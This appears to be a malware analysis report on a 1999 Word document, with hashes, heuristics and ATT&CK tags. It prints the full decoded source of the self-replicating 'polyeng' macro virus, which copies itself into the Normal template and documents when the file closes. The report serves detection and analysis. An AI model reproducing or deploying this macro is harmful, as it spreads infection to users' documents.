Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 149d9963e587c179…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-03-08 18:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 78ebfb01f1ea92731d023980b371405c SHA-1: 081543f0aa3eed317eb179b6aff832bc0468a6d9 SHA-256: 149d9963e587c1796f70f6c2907064b350ed4ad8e0633c01b54902954ad5d09d
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro named 'AutoClose' which is designed to export a DLL payload to 'c:\windows\poly.dll' and then import it into the document's project. This macro is intended to execute automatically when the document is closed, suggesting an attempt to install a secondary payload. The presence of legacy WordBasic markers and the Auto_Close macro firing indicate a malicious document designed for payload delivery.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1341 bytes
SHA-256: 648f150dedd981b82b500474f9635518989b50f8e72404a1d877275c4fd555a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "polyeng"
Sub AutoClose()
' [WM97.polyeng.a]
' by -KD- / Metaphase VX Team & NoMercyVirusTeam
' Tech used from Mr.Vic & 29/A special thanks
' This Macro Virii was made Undernet #virus's big-e polymorphic engine contest.
' It is SR1 compatable useing import/export.
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("polyeng").Export "c:\windows\poly.dll"
 For Z = 1 To NormalTemplate.VBProject.VBComponents.Count
 If NormalTemplate.VBProject.VBComponents(Z).Name = "polyeng" Then NormInstall = True
 Next Z
 For Z = 1 To ActiveDocument.VBProject.VBComponents.Count
 If ActiveDocument.VBProject.VBComponents(Z).Name = "polyeng" Then ActivInstall = True
 Next Z
If ActivInstall = True And NormInstall = False Then Set VX = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set VX = ActiveDocument.VBProject
VX.VBComponents.Import ("c:\windows\poly.dll")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
SetAttr ("c:\windows\poly.dll"), vbHidden + vbSystem
End Sub

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